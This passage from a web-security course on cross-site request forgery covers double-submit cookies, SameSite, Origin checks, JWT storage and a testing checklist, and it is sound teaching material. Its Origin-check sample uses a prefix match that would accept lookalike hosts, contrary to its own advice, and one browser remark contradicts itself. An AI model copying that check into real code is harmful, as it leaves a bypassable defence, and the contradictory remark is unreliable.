
The Big Pitfall: Subdomains Can Write Your Cookie

Double-submit's security assumes the attacker can't control the cookie value. But cookies have a weaker isolation model than the same-origin policy: a **sibling or compromised subdomain can set a cookie on the parent domain.** If `evil.example.com` (or an XSS on any subdomain) can write the `csrf` cookie for `.example.com`, an attacker can *plant a known value* — then put that same known value in the header of a forged request, and the two match.

"NAIVE" DOUBLE-SUBMIT IS FORGEABLE VIA COOKIE INJECTION

This is the well-known weakness: if an attacker can set the CSRF cookie (via a subdomain they control, a sibling-domain XSS, or a network position on a non-HTTPS connection), they know the token value and can supply a matching header — defeating the check. The naive "cookie value == header value" comparison trusts the cookie's integrity, which the cookie model doesn't guarantee. The fix is the **signed (or HMAC) double-submit**: the token isn't a bare random value but is cryptographically bound to the session, so a planted cookie value the server didn't issue won't validate. Modern libraries (e.g. `csrf-csrf`) implement this signed variant — don't roll the naive version yourself.

The Signed / HMAC Variant

The hardened form binds the token to the user's session so it can't be forged by merely setting a cookie:

```
// token = random value + HMAC over (session id + value), server secret
const message = sessionId + "!" + value;
const token = value + "." + hmacSHA256(secret, message);

// on validation, the server recomputes the HMAC from the SESSION it trusts
// a cookie value an attacker planted won't carry a valid HMAC -> rejected
```

Now the server doesn't blindly trust the cookie; it verifies the token is one *it* issued for *this* session. This restores the property that an attacker who can only *set* a cookie (but not read the session secret) can't produce a valid token — closing the cookie-injection hole while staying stateless.

The SPA-Friendly Variant You've Probably Seen

Frameworks like **Angular** and **Django (with the right config)** ship a double-submit flow out of the box: the server sets a cookie named `XSRF-TOKEN`, and the framework's HTTP client automatically reads it and sends it back as an `X-XSRF-TOKEN` header on every request. If you've used Angular's `HttpClient` and wondered where CSRF protection came from, this is it — double-submit, automated.

THE TOKEN COOKIE IS DELIBERATELY NOT HTTPONLY — AND THAT'S CORRECT HERE

A reasonable instinct from Chapter 4 is "make all auth cookies HttpOnly." But the double-submit *token* cookie must be readable by JavaScript so the client can copy it into the header — so it's intentionally non-HttpOnly. This is safe *provided you don't also have XSS* (which would let an attacker read it anyway — and XSS defeats every CSRF defence, Chapter 4). Your *session* cookie should still be HttpOnly; only the CSRF token cookie is exposed to JS. Don't confuse the two.

Hands-On Exercises

EXERCISE 1

Implement a basic double-submit cookie check in Express (set a JS-readable token cookie; validate that an `X-CSRF-Token` header equals the cookie). Then explain precisely why a cross-site forged request fails this check despite the cookie being auto-sent.

View solution

EXERCISE 2

Describe the subdomain / cookie-injection attack that defeats *naive* double-submit. Walk through how an attacker controlling `evil.example.com` can make a forged request pass the cookie==header check, and explain how the signed/HMAC variant prevents it.

📄 View solution

EXERCISE 3

Compare synchronizer and double-submit on storage, statelessness, and main weakness, and recommend which to use for (a) a server-rendered Rails app and (b) a stateless JSON API behind a SPA. Then explain why the CSRF token cookie is intentionally not HttpOnly and when that becomes dangerous.

📄 View solution

CHAPTER 6 QUICK REFERENCE

- **Double-submit cookie** — token sent as a cookie; client copies it into a header; server checks cookie == header. **No server storage.**
- Stops CSRF because the cookie auto-rides but the attacker **can't read it** (SOP) to set the matching header (which also needs a preflight)
- Favour a **custom header** over a form field — adds the CORS preflight barrier on top of the read barrier
- Best for **stateless backends, SPAs, and APIs**; synchronizer is better for stateful server-rendered apps
- **Pitfall:** a subdomain / sibling XSS / non-HTTPS attacker can *write* the cookie → plant a known value → naive cookie==header is forgeable
- **Fix:** the **signed / HMAC** variant binds the token to the session, so a planted cookie value the server didn't issue fails validation
- Angular (`XSRF-TOKEN` → `X-XSRF-TOKEN`) and Django ship automated double-submit
- The CSRF token cookie is intentionally **not HttpOnly** (JS must read it); the *session* cookie still should be — and this is safe only absent XSS
- **Next chapter:** SameSite cookies — how a browser-level attribute changed the whole CSRF landscape

CHAPTER 7 OF 10

SameSite Cookies

CHAPTER 7

SameSite Cookies

Lax / Strict / None, the browser-default shift, and what it does & doesn't cover

Tokens (Chapters 5–6) defend by adding a secret to the *request*. **SameSite** attacks CSRF from a different angle — precondition #3 (Chapter 1): it tells the browser *not to send the cookie cross-site in the first place*. It's a one-line cookie attribute that, combined with a 2020 change to browser defaults, reshaped the entire CSRF landscape.

The Attribute

`SameSite` is set on a cookie and controls whether the browser attaches it to **cross-site** requests. It has three values:

```
Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly
Set-Cookie: session=abc; SameSite=Lax;    Secure; HttpOnly
Set-Cookie: session=abc; SameSite=None;   Secure; HttpOnly  # Secure is REQUIRED for None
```

VALUE	COOKIE SENT ON SAME-SITE REQUESTS?	SENT ON CROSS-SITE REQUESTS?
`Strict`	Yes	Never — not even top-level navigation
`Lax`	Yes	Only on top-level GET navigations (clicking a link)
`None`	Yes	Yes (legacy behaviour) — requires `Secure`

How Each Value Affects CSRF

- **Strict** — the cookie is *never* sent on any cross-site request, so forged requests arrive with no session cookie at all → CSRF fully blocked. The cost: even a legitimate inbound link from another site (e.g. an email link to your dashboard) arrives logged-*out*, which hurts UX.
- **Lax** — the cookie *is* sent on top-level GET navigations (so following a link to your site keeps you logged in) but *not* on cross-site POSTs, forms targeting your site, or background subresource requests. This blocks the classic POST-form CSRF while preserving normal link UX — the sweet spot, and now the default.

- **None** — the old behaviour: cookie sent on all cross-site requests. This is what CSRF exploited. Now requires `Secure`, and is only appropriate for cookies that genuinely need cross-site use (e.g. third-party embeds, SSO).

THE 2020 DEFAULT FLIP — THE BIGGEST SINGLE CHANGE TO CSRF'S THREAT MODEL

Historically, a cookie with no `SameSite` attribute defaulted to **None** (send everywhere) — which is why CSRF was so easy. In 2020, Chrome (then other browsers) changed the default for cookies *without* an explicit SameSite to **Lax**. Overnight, the most common CSRF vector — a cross-site POST form — stopped carrying the session cookie by default, on most of the web, with no developer action. This is why CSRF is *less* dangerous today than a decade ago. But "less" is not "gone," and relying on the default alone is risky (see below).

Why Lax Stops the Classic Attack

Recall the canonical attack (Chapter 3): an auto-submitting hidden **POST form** on evil.com. With `SameSite=Lax`, the browser will *not* attach the session cookie to that cross-site POST, because Lax only sends cookies on *top-level GET navigations* — not POSTs, not subresource requests. The forged POST arrives unauthenticated, and the server treats it as a logged-out request. The hidden-form workhorse of CSRF is neutralized by a single cookie attribute.

LAX IS NOT A COMPLETE DEFENCE — FIVE GAPS TO KNOW

Don't treat SameSite=Lax as "CSRF solved." It leaves real gaps: **(1)** *State-changing GET* endpoints — Lax *does* send the cookie on top-level GET navigations, so a forged GET (window navigation, not just an img) can still carry it (yet another reason GET must be safe). **(2)** *The "Lax+POST" grace window* — Chrome historically allowed cookies on cross-site POSTs for ~2 minutes after a cookie was set, to avoid breaking flows; edge cases linger. **(3)** *SameSite=None cookies* (needed for legitimate cross-site use) get no protection. **(4)** *Same-site, different-origin* — SameSite is about *site* (registrable domain), not origin, so `a.example.com` attacking `b.example.com` is "same-site" and not blocked. **(5)** *Older browsers* may ignore it. So use SameSite *and* tokens — defence in depth (Chapter 8).

"Site" vs "Origin" — a Crucial Distinction

SameSite operates on the concept of **site** (the registrable domain, e.g. `example.com`), not **origin** (scheme + host + port). This is looser than the Same-Origin Policy:

REQUEST FROM → TO	SAME-ORIGIN?	SAME-SITE?
`app.example.com` → `app.example.com`	Yes	Yes
`blog.example.com` → `app.example.com`	No	Yes (same registrable domain)
`evil.com` → `app.example.com`	No	No

The middle row is the catch: a sibling subdomain is *same-site*, so SameSite won't stop a malicious or compromised subdomain — which ties directly to the cookie-injection concern from Chapter 6. SameSite defends the *cross-site* boundary, not the *cross-origin-but-same-site* one.

Practical Recommendation

For a typical session cookie: **SameSite=Lax** (the default, but set it explicitly), plus **Secure** and **HttpOnly**. Use **Strict** for the highest-sensitivity cookies where the "arrive logged out from external links" cost is acceptable (or pair Strict with a Lax "read" cookie). Reserve **None** for cookies that truly require cross-site sending, always with Secure. And — the recurring theme — layer it with anti-CSRF tokens rather than relying on SameSite alone.

Hands-On Exercises

EXERCISE 1

In DevTools (Application → Cookies), inspect the SameSite value of cookies on a few sites. Then explain, for a `SameSite=Lax` session cookie, exactly which of these carry it: (a) clicking a link from another site, (b) a cross-site auto-submitting POST form, (c) a cross-site `<img>` GET.

View solution

EXERCISE 2

Explain how the 2020 change of the default SameSite value (None → Lax) reduced CSRF risk across the web without developers doing anything. Then give two reasons you should still set SameSite explicitly and still use tokens.

View solution

EXERCISE 3

A developer sets `SameSite=Lax` and declares the app "CSRF-proof." Identify the gaps that leave it still attackable — covering state-changing GETs, the site-vs-origin distinction (sibling subdomains), and SameSite=None cookies — and state what to add to actually close them.

View solution

CHAPTER 7 QUICK REFERENCE

- **SameSite** — cookie attribute controlling whether the cookie is sent on **cross-site** requests (attacks CSRF precondition #3)
- **Strict** — never sent cross-site (blocks CSRF fully; external links arrive logged-out)
- **Lax** — sent only on **top-level GET navigations**; blocks cross-site POST forms while keeping link UX (the default & sweet spot)
- **None** — sent on all cross-site requests (legacy CSRF-enabling behaviour); now **requires Secure**
- **2020 default flip** (None → Lax) hugely reduced CSRF across the web automatically — but "less" ≠ "gone"
- **Gaps:** state-changing GETs · Lax+POST grace window · SameSite=None cookies · sibling subdomains · old browsers
- **Site ≠ origin** — SameSite uses the registrable domain, so `a.example.com` → `b.example.com` is "same-site" and unprotected
- Recommendation: session cookie = **Lax + Secure + HttpOnly** (Strict for high-sensitivity), *and* tokens — defence in depth
- **Next chapter:** defence in depth — custom headers, Origin/Referer checks, re-authentication, combining layers

CHAPTER 8 OF 10

Defence in Depth

CHAPTER 8

Defence in Depth

Custom headers, Origin/Referer checks, re-authentication, and combining layers

Each defence so far has gaps: tokens can be misimplemented, SameSite has the site-vs-origin and GET holes, double-submit has cookie injection. **Defence in depth** is the discipline of layering independent mechanisms so that an attacker must defeat *all* of them — and a single misconfiguration doesn't expose you. This chapter covers the supplementary defences and how to stack them.

Checking the Origin / Referer Header

On a cross-site request, the browser sets an **Origin** header (and usually **Referer**) identifying the page that initiated it — and the attacker's page *cannot forge or remove* these on a cross-site request (they're browser-controlled). So the server can simply check: did this state-changing request come from *my own* origin?

```
const ALLOWED = "https://app.example.com";

function checkOrigin(req, res, next) {
  const origin = req.get("Origin") || req.get("Referer");
  if (!origin || !origin.startsWith(ALLOWED)) {
    return res.status(403).send("Cross-origin request rejected.");
  }
  next();
}
```

ORIGIN CHECKING IS A USEFUL LAYER, NOT A SOLE DEFENCE

Two caveats keep it from standing alone. **(1)** The `Origin` header is *usually* present on state-changing cross-site requests but historically wasn't on every request type, and `Referer` can be stripped by privacy settings, proxies, or `Referrer-Policy` — so a strict "reject if absent" can break legitimate clients, while "allow if absent" opens a hole. **(2)** It does nothing for the *same-site sibling* problem (Chapter 7) — a request from `blog.example.com` may carry an allowed-looking origin. Treat Origin/Referer checks as a strong corroborating layer alongside tokens + SameSite, not a replacement. Match against an explicit allowlist, exact-string, never a loose substring.

Requiring a Custom Request Header

From Chapter 2: a cross-site attacker *cannot set a custom header* on a simple request without triggering a CORS preflight they can't pass, and an HTML form can't set headers at all. So requiring a header like `X-Requested-With: XMLHttpRequest` on state-changing endpoints means a classic form/img forgery simply can't produce a valid request.

> **WHY THIS WORKS — AND WHY IT ISN'T ENOUGH ALONE**
>
> The mechanism is sound: the presence of *any* custom header forces same-origin/CORS-approved code, which a forged form can't be. It's the basis of the double-submit *header* (Chapter 6) and a common API defence (Chapter 9). But on its own it relies on the server **strictly rejecting** requests lacking the header and on the endpoint not *also* accepting simple-content-type bodies — and it gives no protection against a same-origin XSS. Use it as a layer, enforced strictly, paired with tokens.

Re-Authentication & Step-Up for Sensitive Actions

The strongest layer for the highest-value actions doesn't rely on request shape at all: **require the user to prove intent directly** — re-enter their password, confirm with a one-time code, or pass an MFA challenge — for operations like changing email/password, deleting an account, or making a payment.

This defeats CSRF by construction: even a perfectly forged request can't supply the current password or live MFA code, because the attacker doesn't know them (Chapter 3's "account takeover via change-email" is exactly what this stops). It's friction, so reserve it for genuinely sensitive operations — but for those, it's the most robust defence available.

The Layered Stack

A well-defended state-changing endpoint combines several independent checks — an attacker must beat *every* one:

LAYER 1	**SameSite=Lax/Strict** on the session cookie — strips the credential from most cross-site requests (Ch. 7)
LAYER 2	**Anti-CSRF token** (synchronizer or signed double-submit) validated on every state-changing request (Ch. 5–6)
LAYER 3	**Origin/Referer check** against an allowlist — corroborates the request came from your site
LAYER 4	**Safe-method discipline** — never change state on GET; require POST/PUT/DELETE
LAYER 5	**Re-authentication / MFA** for sensitive actions — proves live user intent (Ch. 3 takeover defence)

> **LAYERING IS ABOUT INDEPENDENCE, NOT QUANTITY**
>
> Defence in depth only helps if the layers fail *independently*. Five variations of "trust the cookie" stacked together still all fall to one cookie problem. The stack above works because each layer rests on a *different* assumption: SameSite on the browser's cross-site rules, tokens on the attacker not reading your page, Origin on browser-set headers, safe-GET

> on HTTP semantics, re-auth on a secret the user holds. When you add a layer, ask: *does this fail for a different reason than the others?* If not, it's not adding depth. And remember the ceiling: **none of this survives XSS** (Chapter 4) — same-origin script defeats the lot, so XSS prevention sits beneath the whole stack.

What to Actually Ship

For most apps the pragmatic, strong baseline is: **SameSite=Lax + anti-CSRF tokens (via a maintained library) + safe-GET discipline**, with **Origin checks** as an easy extra layer and **re-authentication** on the handful of truly sensitive endpoints. You don't need every layer everywhere — you need enough independent ones that no single failure is catastrophic, weighted toward your highest-value actions.

Hands-On Exercises

EXERCISE 1

Implement an Origin/Referer check middleware in Express that allows only your own origin on state-changing requests. Then explain two reasons it must not be your *only* CSRF defence (header absence handling, and the same-site sibling gap).

View solution

EXERCISE 2

Explain why requiring re-authentication (re-entering the password) on a "change email" endpoint defeats CSRF even if every other defence were somehow bypassed. Connect this back to the account-takeover chain from Chapter 3.

View solution

EXERCISE 3

A team proposes "defence in depth": session cookie, a second auth cookie, and a CSRF cookie all checked server-side. Explain why this is *not* real defence in depth, then design a genuinely independent 3-layer stack and state the distinct assumption each layer relies on.

View solution

CHAPTER 8 QUICK REFERENCE

- **Defence in depth** — layer *independent* mechanisms so no single failure exposes you

- **Origin/Referer check** — reject state-changing requests not from your allowlisted origin; browser-set, attacker can't forge cross-site
- Origin caveats: header may be absent (proxies/Referrer-Policy) and won't catch **same-site siblings** — a layer, not sole defence
- **Custom required header** — forms can't set headers; cross-site fetch triggers a preflight — blocks classic forgery (enforce strictly)
- **Re-authentication / MFA** for sensitive actions — defeats CSRF by construction (attacker lacks the password/OTP); reserve for high-value ops
- Strong stack: **SameSite + token + Origin check + safe-GET + re-auth on sensitive endpoints**
- Layers must fail for **different reasons** — five cookie-trusting checks aren't depth; and **nothing survives XSS**
- Ship baseline: **SameSite=Lax + tokens (library) + safe-GET**, plus Origin checks and re-auth where it matters
- **Next chapter:** CSRF in modern apps — SPAs, JSON APIs, bearer vs cookie auth, framework built-ins

CHAPTER 9 OF 10

CSRF in Modern Apps

CHAPTER 9

CSRF in Modern Apps

SPAs, JSON APIs, bearer vs cookie auth, and framework built-ins

Classic CSRF assumed server-rendered pages and cookie sessions. Modern apps — SPAs talking to JSON APIs, mobile clients, token-based auth — change the picture significantly. The single most important question for any endpoint is: **how does it authenticate the request?** Because that answer determines whether CSRF even applies.

The Decisive Question: Cookies or Not?

CSRF exists *only* because credentials are sent **automatically** (ambient authority, Chapter 1). So the dividing line is whether your auth credential is auto-attached by the browser:

AUTH METHOD	CREDENTIAL SENT AUTOMATICALLY?	CSRF-VULNERABLE?
`Cookie session`	Yes — browser attaches it	YES — needs CSRF defences
`Authorization: Bearer <token>`	No — JS must add it explicitly	No — not classic CSRF

THE KEY INSIGHT: BEARER TOKENS IN A HEADER ARE NOT AUTO-SENT

If your API authenticates via an `Authorization: Bearer` header that your JavaScript must explicitly attach to each request, then a cross-site attacker's forged request *won't carry it* — the browser doesn't auto-attach Authorization headers, and the attacker can't read the token to add it (Chapter 2). So a purely header-token API is not vulnerable to classic CSRF. The catch is in the word *purely*: the moment a token lives in a cookie, or you use any cookie-based session, CSRF is back on the table.

Where Teams Get This Wrong: JWT in a Cookie

A very common pattern is "we use JWTs, so we're stateless and CSRF-safe." But *where* the JWT is stored decides everything:

JWT STORED IN…	AUTO-SENT?	CSRF RISK	XSS RISK TO TOKEN
`Authorization` header (from JS memory)	No	No classic CSRF	readable by XSS
`Cookie`	Yes	CSRF-vulnerable (needs defences)	HttpOnly hides from XSS

"WE USE JWT" SAYS NOTHING ABOUT CSRF — STORAGE LOCATION DOES

A JWT is just a token format; it does not imply any CSRF property. If you put the JWT in a cookie (popular because it can be `HttpOnly` and survives reloads), the browser auto-sends it on cross-site requests *exactly like a session cookie* — so you have full classic CSRF exposure and must add tokens/SameSite. If you put it in an `Authorization` header, you avoid classic CSRF but the token is reachable by XSS. There's a genuine trade-off (CSRF exposure vs XSS exposure), but there is no "JWT = safe." Decide based on *storage*, not format. This is the most common modern misconception about CSRF.

The "JSON-Only / Custom Header" API Defence

Many JSON APIs lean on the Chapter 2 fact that a forged HTML form can't set headers and can't send `application/json` without a preflight. So an API that **requires** `Content-Type: application/json` **and rejects everything else** (or requires a custom header) blocks classic form-based CSRF:

```
// reject state-changing requests that aren't genuine JSON API calls
app.use((req, res, next) => {
  if (["POST", "PUT", "DELETE", "PATCH"].includes(req.method)) {
    if (!req.is("application/json")) return res.sendStatus(415);
  }
  next();
});
```

THIS WORKS ONLY IF ENFORCEMENT IS STRICT — AND NEVER WITH COOKIE AUTH ALONE

The defence is real but fragile: it depends on the server **actually rejecting** non-JSON bodies (a permissive parser that *also* accepts `application/x-www-form-urlencoded` reopens the hole, because a form can send that), and it assumes well-behaved CORS. If the endpoint uses *cookie* auth, do not rely on JSON-only as the sole CSRF defence — pair it with SameSite + tokens. With header-bearer-token auth it's moot (no CSRF anyway). The point: "we only accept JSON" is a useful layer, not a guarantee.

SPA + Cookie Session: The Double-Submit Sweet Spot

A very common modern setup is an SPA that still uses a cookie session (often the simplest, most secure option since the session cookie can be `HttpOnly`). Here the **double-submit cookie** (Chapter 6) fits perfectly: the SPA's HTTP client reads the `XSRF-TOKEN` cookie and echoes it in an `X-XSRF-TOKEN` header automatically. This is exactly what Angular's `HttpClient` and Axios (with config) do out of the box.

```
// Axios: auto-read this cookie, send it back as this header
axios.defaults.xsrfCookieName = "XSRF-TOKEN";
axios.defaults.xsrfHeaderName = "X-XSRF-TOKEN";
```

Framework Built-Ins — Don't Roll Your Own

FRAMEWORK	BUILT-IN CSRF PROTECTION
Django	`CsrfViewMiddleware` + `{% csrf_token %}` (synchronizer/double-submit hybrid); on by default
Rails	`protect_from_forgery` + `form_authenticity_token`; on by default
Spring Security	CSRF tokens enabled by default for browser clients
Express	no built-in; use a maintained lib (`csrf-csrf`; the old `csurf` is deprecated)
Angular	client-side `XSRF-TOKEN` → `X-XSRF-TOKEN` double-submit, automatic

USE THE FRAMEWORK'S MECHANISM — HAND-ROLLED CSRF CODE IS WHERE BUGS LIVE

Every example in this course is for *understanding*; in production, use your framework's built-in protection or a maintained library. They handle the subtle parts you'd likely get wrong: constant-time comparison, signed double-submit, token rotation, per-form tokens, and integration with the session lifecycle (the very thing behind your login-token error, Chapter 5). The deprecated Express `csurf` package is a cautionary tale — prefer actively maintained options like `csrf-csrf`.

Decision Guide

- **Cookie/session auth (SSR or SPA)** → SameSite + anti-CSRF tokens (synchronizer for SSR, double-submit for SPA). CSRF fully applies.
- **Header bearer token (no cookies)** → no classic CSRF; focus on XSS (token theft) and token handling instead.
- **JWT in a cookie** → treat exactly like a session cookie: full CSRF defences required.
- **Mobile / native client (no browser)** → no CSRF (no ambient cookie behaviour); standard token auth.

Hands-On Exercises

EXERCISE 1

For each API, state whether classic CSRF applies and why: (a) auth via `Authorization: Bearer` header from JS memory; (b) auth via a session cookie; (c) auth via a JWT stored in a cookie; (d) a native mobile app sending a token header. Tie each answer to "is the credential auto-sent by the browser?"

View solution

EXERCISE 2

Explain why "we use JWTs so we're CSRF-safe" is wrong. Contrast JWT-in-header vs JWT-in-cookie on both CSRF exposure and XSS exposure, and state the trade-off a team is actually making when they choose cookie storage for HttpOnly.

View solution

EXERCISE 3

An API blocks CSRF by requiring `Content-Type: application/json`. Describe two ways this can still fail (a permissive parser that also accepts form encoding; cookie auth with lax enforcement), and give the correct layered configuration for a cookie-authenticated SPA.

View solution

CHAPTER 9 QUICK REFERENCE

- The decisive question: **is the auth credential auto-sent by the browser?** Cookie = yes (CSRF applies); header bearer token = no
- **Authorization: Bearer** (added by JS) → not classic CSRF; the attacker can't auto-send or read it
- **"We use JWT" ≠ safe** — JWT in a *cookie* is auto-sent → full CSRF exposure; JWT in a *header* avoids CSRF but is XSS-readable
- Trade-off: cookie storage (HttpOnly, CSRF-exposed) vs header storage (XSS-exposed, no CSRF) — choose by **storage**, not format
- **JSON-only / custom-header** API defence works only with *strict* rejection of other content types; not sole defence under cookie auth
- **SPA + cookie session** → double-submit (Angular/Axios `XSRF-TOKEN` → `X-XSRF-TOKEN`) is the sweet spot
- Use **framework built-ins** (Django/Rails/Spring on by default; Express use `csrf-csrf`, not deprecated `csurf`) — don't hand-roll
- Mobile/native clients: no browser ambient cookies → no CSRF

- **Next chapter:** testing, pitfalls & a hardening checklist — finding CSRF and the deployable summary (incl. your login-error fix)

CHAPTER 10 OF 10

Testing, Pitfalls & Checklist

CHAPTER 10

Testing, Pitfalls & Checklist

Finding CSRF, the broken-defence catalogue, and a deployable hardening checklist

The final chapter turns understanding into practice: how to *test* for CSRF on your own apps, the broken-defence patterns that look protected but aren't, a copy-pasteable hardening checklist — and the proper, deployable fix for the admin-login token error that started this whole course.

How to Test for CSRF

Testing your own endpoints follows a simple manual procedure (and tools automate it):

1. **Capture** a legitimate state-changing request (DevTools → Network, or Burp Suite's proxy).
2. **Identify the auth** — is it a cookie (CSRF-relevant) or a header token (not classic CSRF)? (Chapter 9)
3. **Strip the anti-CSRF token** (and any custom header) and replay the request with only the cookie. If it still succeeds → vulnerable.
4. **Try a forged page** — build an auto-submitting form (Chapter 3) on a different origin, load it while logged in, and see if the action fires.
5. **Test the token's strength** — does the server accept an empty token? Another user's token? A token after it should have rotated?

THE FASTEST MANUAL TEST: "DOES IT WORK WITHOUT THE TOKEN?"

The single most revealing check is step 3 — remove the CSRF token (and custom headers) from a captured request and resend it with just the session cookie. If the server still performs the action, the token isn't actually being validated (a shockingly common bug — the token is rendered but never checked server-side). Tools like **Burp Suite** (the "CSRF PoC generator") and **OWASP ZAP** automate generating the forged page and flagging missing/unvalidated tokens.

The Broken-Defence Catalogue

These look protected but aren't — the patterns to hunt for in review:

BROKEN DEFENCE	WHY IT FAILS	CHAPTER
`Token rendered but never validated`	server embeds it, never checks it on POST	5
`Token only in a cookie`	auto-rides forged requests; not the synchronizer pattern	5
`State change on GET`	forgeable by a bare `<img>`; SameSite=Lax still sends on top-level GET	2,3,7
`Naive double-submit`	cookie injection from a subdomain plants a known value	6
`Validation on some routes only`	one unprotected endpoint is enough	5
`"CORS protects us"`	CORS governs reads, not whether the request is processed	2,4
`"We use JWT"`	JWT in a cookie is auto-sent = full CSRF	9
`Token accepted when empty/blank`	missing-token check treats absent as valid	5

The Hardening Checklist

- ☑ **Anti-CSRF tokens** on every state-changing request — via a maintained library/framework built-in, validated server-side with constant-time comparison
- ☑ **SameSite=Lax** (or Strict) + **Secure** + **HttpOnly** on the session cookie, set explicitly
- ☑ **Never change state on GET** — destructive actions use POST/PUT/DELETE only
- ☑ **Origin/Referer allowlist check** (exact-match) on state-changing routes as a corroborating layer
- ☑ **Re-authentication / MFA** for sensitive actions (change email/password, payments, delete)
- ☑ **Prevent XSS** — output encoding + CSP; it defeats every CSRF defence if present
- ☑ **Use signed double-submit** + `__Host-` cookie prefix if stateless; don't ship the naive variant
- ☑ **Test it** — replay without the token; confirm rejection on every state-changing endpoint

★ YOUR ADMIN-LOGIN "INVALID CSRF TOKEN" — THE DEPLOYABLE FIX

Now the full resolution of the error that motivated the course (diagnosed in Chapter 5 as a *stale token*, not an attack). The fixes, in order of likelihood:

- **Stop caching the login form.** Send `Cache-Control: no-store` (and `no-cache`) on the login page so Firefox's bfcache doesn't restore a stale page carrying an out-of-date token. This is the most likely single fix given it's Firefox-specific.
- **Issue the token after session regeneration.** If login rotates the session (anti-fixation), render/refresh the CSRF token *after* the new session exists, so the form's token matches.
- **Prefer a per-session token for the login form** (or one that tolerates refresh) rather than aggressive per-request rotation, which is what breaks on back/multi-tab.
- **Graceful handling:** on a token mismatch for the *login* specifically, re-render the login page with a fresh token instead of a hard 403 — so the user never sees the error.

Test across browsers (you'd noted only Firefox so far): Chrome's bfcache behaves differently, which is exactly why you saw it there. None of this is a security weakness — it's the defence firing on a stale token; these fixes make it stop annoying you without weakening anything.

DON'T "FIX" CSRF ERRORS BY WEAKENING THE DEFENCE

A tempting but dangerous response to a nuisance CSRF error is to disable the check, exempt the endpoint, or loosen SameSite to None. Resist this — you'd be trading a usability annoyance for a real vulnerability. The correct fixes (above) address the *token-staleness* cause (caching, session lifecycle) without removing the protection. If you ever must exempt an endpoint, it should be one that genuinely changes no state.

Hands-On Exercises

EXERCISE 1

Write a step-by-step manual test plan to determine whether a state-changing endpoint is CSRF-vulnerable, including the "remove the token and replay" check and a forged-page test. State what result at each step indicates a vulnerability.

View solution

EXERCISE 2

Given the broken-defence catalogue, audit this app: it validates tokens on POST only, exposes `GET /admin/delete?id=`, stores its CSRF value only in a cookie, and the team says "CORS protects the API." List every CSRF flaw and the fix for each.

View solution

EXERCISE 3

Write the complete, ordered fix for the admin-login "Invalid CSRF token" error: the headers to add, the session/token lifecycle change, and the graceful-handling behaviour. Explain why each addresses token staleness rather than

weakening protection, and why the bug appeared in Firefox.

View solution

CHAPTER 10 QUICK REFERENCE

- **Test by replay** — remove the token/custom header, resend with just the cookie; if it works, the token isn't validated
- Tools: **Burp Suite** (CSRF PoC generator), **OWASP ZAP**; manual forged-page test from another origin
- **Broken defences:** token rendered-but-unvalidated · token-only-in-cookie · state-changing GET · naive double-submit · partial coverage · "CORS/JWT protects us" · empty-token accepted
- **Checklist:** tokens everywhere (library) · SameSite+Secure+HttpOnly · safe-GET · Origin check · re-auth on sensitive ops · prevent XSS · signed double-submit + `__Host-` · test by replay
- **Login-error fix:** `Cache-Control: no-store` on the login page · issue token after session regeneration · per-session token · re-render gracefully on mismatch
- It's a **stale token, not an attack** — fix the staleness; never disable the check or loosen SameSite to "fix" it
- Test across browsers — Firefox's bfcache made the stale-token issue visible where others may differ

★ CSRF — Cross-Site Request Forgery Complete — 10 / 10 chapters

From the confused-deputy mechanism and ambient authority, through the attack anatomy, the CSRF/XSS/SSRF distinction, every defence (synchronizer & double-submit tokens, SameSite, Origin checks, re-auth), modern SPA/API/JWT considerations, and a deployable testing checklist. You can now recognize CSRF, defend against it in depth, audit broken defences — and you've fully diagnosed and fixed the admin-login token error that started it all.